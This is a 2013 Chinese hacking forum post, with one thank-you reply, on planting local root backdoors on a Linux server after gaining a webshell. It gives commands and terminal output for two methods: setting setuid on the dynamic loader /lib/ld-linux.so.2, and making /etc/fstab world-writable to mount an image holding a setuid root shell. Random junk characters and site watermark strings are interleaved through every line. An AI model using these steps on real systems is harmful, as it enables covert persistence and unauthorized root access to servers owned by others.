找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2781|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
+ t* ]' M  @, @) N3 L3 j) v6 C$ d+ X5 `6 F9 S! Y
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
) d5 m' O& z: Y0 W( H" Z# I+ Klrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
! y# {) u# _9 S8 wlrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
0 e/ `) U7 g) ?! F0 J[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究* Q6 N+ s8 `' M# v
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究% n5 V7 L. R1 u2 I+ a8 F
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
  A& S, d5 m% z$ N" V6 {lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究3 z. N' i  o) U- L9 X. H
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究" O, Y4 x" m# r8 E& B
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究; D% f8 g; ]8 ], }% i8 \

6 V. A- c+ [# l普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
, I% u* [) M* K$ }: S% T1 @
" ?! ]- |3 O1 Y2 b  j[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
( c  w8 {" w1 R1 wxiaoyu2ezX-BUG-关注前沿信息安全技术研究
& l! A) C9 e9 R+ r4 A9 ?[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究" z( f' r/ p  P# D$ S6 Z" C
root2ezX-BUG-关注前沿信息安全技术研究
! D8 v6 F' ]0 K; k[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究5 G; B) T3 c; e3 V0 M
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
( x5 Y4 {7 m- b3 U/ i& m* |' ]% y  }% k2 B8 p2 g% ^
方法二:2ezX-BUG-关注前沿信息安全技术研究
  e# ^/ G* `6 v" r' F9 @6 C4 N/ I
" b3 L% Q( W7 v, m5 ?看过程:2ezX-BUG-关注前沿信息安全技术研究/ w7 C% M  M3 O
, t& _3 b' m) f, f( [
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
, E4 h8 o! K5 C[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究, x2 |$ r! y# C6 q" a7 U+ C

. O! E7 ?8 d- B* B这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究2 c3 D  m. s$ s3 B, }/ {
3 o; J- A( j+ ?# i. y4 C
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究& v2 I8 d2 T, p/ r4 F/ |! q0 g) H
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究" I) g$ c& B. D" S! M6 m6 v
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究5 a0 x3 _/ W7 |6 p: w+ c
% E6 e, J- p$ k; u2 G9 Q4 ?$ T
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
$ n; |. e- q, v4 Q. V0 z% A6 s: i! Y3 p% [! n  t9 d
[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究# R+ ^! [% q1 {: s0 @8 e3 P/ u
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究6 i  s. ]" l8 t$ z8 I
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究( P/ |- _; o0 `! I0 g
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
/ K4 r2 `" f1 [+ n- D" M  ?6 b[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究& @# ]. i- E$ d- p& a, e2 R5 s6 M+ y
total 182ezX-BUG-关注前沿信息安全技术研究
2 y, S( e) S) x1 U& Vdrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
, h) A9 k/ t# u) ?' F& u-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
  ?( C+ p  N1 D7 p[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
: F9 i9 X) K0 Y3 @& Z2 gsh-3.2#2ezX-BUG-关注前沿信息安全技术研究
6 a- M6 `# Q5 c- G# G看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究  b6 \" j/ C) r, _3 H% n
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究0 k$ o( Q. S& ?$ w
$ L2 n( D. c% o: f2 X  _8 j
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究) {1 c1 e0 ]# [* e/ o
2ezX-BUG-关注前沿信息安全技术研究
+ B5 K2 |3 S: t$ g0 B
9 Z- q, h# I6 j7 v! d
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表